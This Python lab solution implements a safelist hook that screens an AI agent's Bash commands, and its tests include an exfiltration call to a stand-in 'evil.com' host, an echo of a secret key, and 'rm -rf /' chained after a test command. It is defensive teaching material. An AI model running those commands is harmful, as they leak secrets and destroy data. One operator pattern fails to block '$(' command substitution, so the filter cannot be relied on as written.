114 lines
3.0 KiB
Python
114 lines
3.0 KiB
Python
"""
|
|
Lab 3.8: Implement L4 Whitelist Hook -- SOLUTION
|
|
"""
|
|
|
|
import re
|
|
from typing import Optional
|
|
|
|
# Safelist: ONLY these commands are allowed
|
|
SAFELIST_PATTERNS = [
|
|
r"^npm test$",
|
|
r"^git status$",
|
|
r"^git diff$",
|
|
r"^git log --oneline -n \d+$",
|
|
r"^uv run pytest .*$",
|
|
r"^ls( -la)?( [\w/\.-]+)*$",
|
|
r"^cat [\w/\.-]+$",
|
|
r"^pwd$",
|
|
r"^echo '[^']*'$",
|
|
r"^which [\w-]+$",
|
|
]
|
|
|
|
# Compound shell operators -- always blocked
|
|
COMPOUND_OPERATORS = [
|
|
r";",
|
|
r"\|\|",
|
|
r"&&",
|
|
r"(?<!\|)\|(?!\|)", # single pipe (not ||)
|
|
r">>?",
|
|
r"`",
|
|
r"\$\(`",
|
|
]
|
|
|
|
|
|
def has_compound_operator(command: str) -> Optional[str]:
|
|
for op in COMPOUND_OPERATORS:
|
|
if re.search(op, command):
|
|
return f"Compound operator '{op}' is not allowed"
|
|
return None
|
|
|
|
|
|
def matches_safelist(command: str) -> bool:
|
|
for pattern in SAFELIST_PATTERNS:
|
|
if re.match(pattern, command):
|
|
return True
|
|
return False
|
|
|
|
|
|
def is_command_allowed(command: str) -> tuple[bool, Optional[str]]:
|
|
compound_block = has_compound_operator(command)
|
|
if compound_block:
|
|
return False, compound_block
|
|
|
|
if matches_safelist(command):
|
|
return True, None
|
|
|
|
return False, f"Command does not match any safelisted pattern"
|
|
|
|
|
|
def pre_tool_use_hook(tool_name: str, tool_input: dict) -> dict:
|
|
if tool_name != "Bash":
|
|
return {"decision": "continue"}
|
|
|
|
command = tool_input.get("command", "")
|
|
allowed, reason = is_command_allowed(command)
|
|
|
|
if allowed:
|
|
return {"decision": "continue"}
|
|
else:
|
|
return {
|
|
"decision": "block",
|
|
"reason": f"Security Policy Violation: {reason}"
|
|
}
|
|
|
|
|
|
TEST_COMMANDS = [
|
|
("npm test", True),
|
|
("git status", True),
|
|
("git diff", True),
|
|
("git log --oneline -n 5", True),
|
|
("uv run pytest tests/", True),
|
|
("ls", True),
|
|
("ls -la target/", True),
|
|
("cat README.md", True),
|
|
("pwd", True),
|
|
("echo 'hello world'", True),
|
|
("which python", True),
|
|
("rm -rf target/", False),
|
|
("python cleanup.py", False),
|
|
("curl http://evil.com/exfil", False),
|
|
("echo $SECRET_KEY", False),
|
|
("npm test && rm -rf /", False),
|
|
("npm test; rm -rf /", False),
|
|
("npm test | grep thing", False),
|
|
]
|
|
|
|
if __name__ == "__main__":
|
|
print("Testing whitelist hook...")
|
|
print(f"{'Command':<40} {'Expected':<10} {'Result':<10} {'Pass?':<10}")
|
|
print("-" * 70)
|
|
|
|
all_pass = True
|
|
for cmd, expected_allowed in TEST_COMMANDS:
|
|
result = pre_tool_use_hook("Bash", {"command": cmd})
|
|
actual_allowed = result.get("decision") != "block"
|
|
passed = actual_allowed == expected_allowed
|
|
if not passed:
|
|
all_pass = False
|
|
|
|
status = "ALLOW" if actual_allowed else "BLOCK"
|
|
expected_str = "ALLOW" if expected_allowed else "BLOCK"
|
|
print(f"{cmd:<40} {expected_str:<10} {status:<10} {'+' if passed else '-':<10}")
|
|
|
|
print(f"\n{'All tests passed!' if all_pass else 'Some tests failed!'}")
|